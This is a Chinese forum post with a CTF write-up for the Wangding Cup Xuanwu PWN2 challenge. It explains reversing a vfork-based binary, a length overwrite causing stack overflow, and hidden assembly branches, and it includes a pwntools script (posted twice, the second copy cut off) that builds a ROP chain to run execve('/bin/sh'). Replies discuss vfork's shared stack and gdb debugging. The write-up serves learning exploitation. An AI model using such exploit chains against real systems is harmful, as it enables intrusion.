首页
社区
课程
招聘
[分享]网鼎杯玄武组——PWN2
发表于: 2024-11-19 20:51 5108

[分享]网鼎杯玄武组——PWN2

2024-11-19 20:51
5108

网鼎杯玄武组——PWN2

玄武组的是一道多线程PWN题,对我来说主要的难点就在于逆向汇编和线程调试了,当天起来感觉非常累还有点头疼????,汇编里的漏洞大部分都没有发现,简直逆不了一点。后面复现了这道题,还是能学到挺多东西的,所以还是记录一下吧。

题目给的附件一开始就没有符号表,那找main函数就只能从start函数中找了,这里已经重新命名函数了。

sub_4017B5函数是正常的初始话,我们不用管它,先直接看tip2函数。Creat_process中其实就是调用sys_vfork()函数创建一个子进程。

这里需要注意的是创建了子进程之后程序是先跑子进程的,子进程结束之后再跑父进程。在子进程中sys_vfork()函数返回的是0,父进程是进程号。所以if ( fork_ret )里的代码是父进程跑的,因此子进程略过tip2剩下的内容直接跑main_main了

给了gift(地址),然后就让你往V4输入0x40个字节(溢出不了),最后进入exit_ma(0);

__halt使程序进入休眠状态,到这里子进程就结束了。

子进程结束之后,主进程也和子进程一样从tip2中创建子进程的函数跳转出来,只不过主进程返回的是进程号

因此fork_ret不为零,所以主进程就执行这个if分支的内容。

就一循环:先创建子进程然后再往v1输入0x100个数据,虽然sub_401A55中有exit_ma(0)函数,但是由于是创建子进程且子进程和主进程是共享内存空间的,所以我们是可以输入两次数据的。

我们通过汇编可以发现,输入的长度是放在[rbp-0x118]的位置,而我们输入的变量v1起始是在[rbp-110h]即在输入长度前面的。那也就是说,我们第一次输入可以修改第二次输入的长度,这里就存在一个栈溢出了。
图片描述

即使我们第二次输入利用栈溢出构造出了rop,正常来讲最终还是会执行sub_401A55函数,跳转不到返回地址,这个时候看反编译已经没有用了,我们在汇编代码中找到了一个没有被反编译的分支,即只要让[rbp+var_11C]等于0x11111111就可以跳出循环跳转到返回地址了。

图片描述

同样,看反汇编已经没有用了,我们在tip2中的汇编中可以看到,只要让[rbp+var_28]等于1就可以绕过exit_ma(0)分支了ret到后门函数了。虽然一开始不知道会ret到哪里去,但是既然有这个分支了我们就应该动调一下也许就是洞了。

图片描述

记录一下用到的调试命令

最近看的几道题反编译都是和汇编有些出入的,所有毫无头绪的时候还是要认真看看汇编代码的,大概总结了两点吧。

from pwn import *
io = process("./pwn")
context.log_level = "debug"
elf = ELF("./pwn")
 
cmd = (
    "thread 2\n"
    "b *0x44EE5C\n"
    "c\n"
)
 
""" io.recvuntil("gift: ")
addr = int(io.recv(18),16)
print("addr========>",hex(addr)) """
 
io.recvuntil("gift: ")
canary = int(io.recv(18),16)
print("addr========>",hex(canary))
 
payload = b"A"*0x28 + b"\x01"
io.sendafter("leave your name",payload)
 
io.sendafter("Wanna return?",b"1")
 
io.sendafter("once again?",b"A"*0x100)
 
rax = 0x0000000000450277
rdi = 0x000000000040213f
rsi = 0x000000000040a1ae
rdx_rbx = 0x0000000000485feb
syscall = 0x000000000041ac26
bss = elf.bss()
 
payload = b"B"*0x60 + p32(0x11111111) + p32(0x11111111) + p32(0x11111111)
payload = payload.ljust(0x100,b"B")
payload += p64(canary) + p64(canary) + b"A"*0x8
payload += p64(rax) + p64(0x0) + p64(rdi) + p64(0x0) + p64(rsi) + p64(bss) + p64(rdx_rbx) + p64(0x100)*2 + p64(syscall)
payload += p64(rax) + p64(0x3b) + p64(rdi) + p64(bss) + p64(rsi) + p64(0x0) + p64(rdx_rbx) + p64(0x0)*2 + p64(syscall)
io.sendafter("once again?",payload)
 
io.send(b"/bin/sh")
 
io.interactive()
from pwn import *
io = process("./pwn")
context.log_level = "debug"
elf = ELF("./pwn")
 
cmd = (
    "thread 2\n"
    "b *0x44EE5C\n"
    "c\n"
)
 
""" io.recvuntil("gift: ")
addr = int(io.recv(18),16)
print("addr========>",hex(addr)) """
 
io.recvuntil("gift: ")
canary = int(io.recv(18),16)
print("addr========>",hex(canary))
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 3
支持
分享
最新回复 (4)
雪    币: 529
活跃值: (1015)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
师傅能否上传下题目附件,谢谢~
2024-11-20 15:54
0
雪    币: 795
活跃值: (276)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
题目附件:通过网盘分享的文件:pwn
链接: https://pan.baidu.com/s/1btIzNDnu0jnbVGEGvmmWRQ?pwd=wuj6 提取码: wuj6 
--来自百度网盘超级会员v2的分享
2024-11-20 16:12
0
雪    币: 4957
活跃值: (19070)
能力值: ( LV13,RANK:317 )
在线值:
发帖
回帖
粉丝
4
文章中写“虽然一开始不知道会ret到哪里去,但是既然有这个分支了我们就应该动调一下也许就是洞了”,我看了下,ret结果是和vfork系统调用机制有关的,linux上vfork创建的是轻量级子进程或叫线程,和父进程共享栈空间并优先运行,子进程执行401866 - call fn_4019E9_proc2时,压栈ret地址是下一行指令地址40186B即后门函数开始处,此时父进程所处函数fn_4019E9_proc1函数栈中的ret地址,因和子进程共用栈空间就一同被改变为后门函数,故退出时会直接ret到后门函数。

以及调试vfork产生的轻量级子进程,可用gdb的set follow-fork-mode child跟随进去,试了打断点跟到子进程后执行info threads显示有两个线程,父进程的那个线程停留在44EDFC位置,即刚调用完sys_vfork的syscall下一行地址,证明vfork机制产生的轻量级子进程确实先于父进程执行。
2024-12-6 17:21
2
雪    币: 795
活跃值: (276)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
0x指纹 文章中写“虽然一开始不知道会ret到哪里去,但是既然有这个分支了我们就应该动调一下也许就是洞了”,我看了下,ret结果是和vfork系统调用机制有关的,linux上vfork创建的是轻量级子进程或叫线 ...
大佬看的好仔细
2024-12-8 17:33
0
游客
登录 | 注册 方可回帖
返回
//